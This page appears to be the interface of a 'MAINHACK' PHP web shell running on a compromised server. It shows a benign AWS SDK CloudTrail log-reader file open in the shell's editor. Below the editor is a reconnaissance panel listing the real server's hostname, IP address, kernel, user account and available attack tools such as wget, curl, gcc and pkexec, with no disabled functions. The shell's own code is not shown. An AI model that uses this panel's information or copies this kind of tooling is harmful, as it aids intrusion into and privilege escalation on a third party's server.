[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: LogFileReader.php
<?php namespace Aws\CloudTrail; use Aws\S3\S3Client; /** * This class provides an easy way to read log files generated by AWS * CloudTrail. * * CloudTrail log files contain data about your AWS API calls and are stored in * Amazon S3. The log files are gzipped and contain structured data in JSON * format. This class will automatically ungzip and decode the data, and return * the data as an array of log records */ class LogFileReader { /** @var S3Client S3 client used to perform GetObject operations */ private $s3Client; /** * @param S3Client $s3Client S3 client used to retrieve objects */ public function __construct(S3Client $s3Client) { $this->s3Client = $s3Client; } /** * Downloads, unzips, and reads a CloudTrail log file from Amazon S3 * * @param string $s3BucketName The bucket name of the log file in Amazon S3 * @param string $logFileKey The key of the log file in Amazon S3 * * @return array */ public function read($s3BucketName, $logFileKey) { // Create a command for getting the log file object $command = $this->s3Client->getCommand('GetObject', [ 'Bucket' => (string) $s3BucketName, 'Key' => (string) $logFileKey, 'ResponseContentEncoding' => 'x-gzip' ]); // Make sure gzip encoding header is sent and accepted in order to // inflate the response data. $command['@http']['headers']['Accept-Encoding'] = 'gzip'; // Get the JSON response data and extract the log records $result = $this->s3Client->execute($command); $logData = json_decode($result['Body'], true); return isset($logData['Records']) ? $logData['Records'] : []; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002